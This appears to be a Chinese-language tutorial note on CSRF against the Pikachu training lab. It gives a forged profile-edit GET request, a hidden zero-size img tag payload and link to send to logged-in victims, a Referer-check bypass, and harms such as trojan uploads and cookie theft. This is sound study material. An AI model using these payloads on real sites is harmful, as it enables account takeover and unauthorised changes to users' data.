一、概述
CSRF通过伪装成受信任用户请求,利用站点对已经身份认证的信任,访问网站
二、攻击流程
三、攻击
1、攻击前提是用户必须登陆
2、修改个人信息存在csrf,如下pikachu靶场
GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18656565545&add=usa&email=lili%40pikachu.com&submit=submit HTTP/1.1
我将一个完整的连接发送给已经登陆的用户,让其点击,如:
http://192.168.31.37/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18656565545&add=usa&email=lili%40pikachu.com&submit=submit
3、自己制作一个页面设置一个图片标签<img src="http://192.168.31.37/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18656565545&add=usa&email=lili%40pikachu.com&submit=submit" width = "0" height = "0">
让别人访问
4、或者做一个超链接给别人点击
5、构建一个自动提交的表单(隐藏),用户访问,发起post请求
四、绕过
1、如果做了限制,比如查看是从哪个页面跳转过来的,是本网站就放行,不是就屏蔽,一般用函数截取请求包中Referer
字段进行对比,此时你可以伪造http://1.1.1.1/192.168.31.37/pikachu来绕过
2、配合xss来进行攻击,如DOM型xss,#符号之后的代码不会被发送到服务器
五、危害
1、修改账户信息
2、利用管理员账户,上传木马文件
3、利用蠕虫病毒(点击、扩散)
4、获取cookie,冒充身份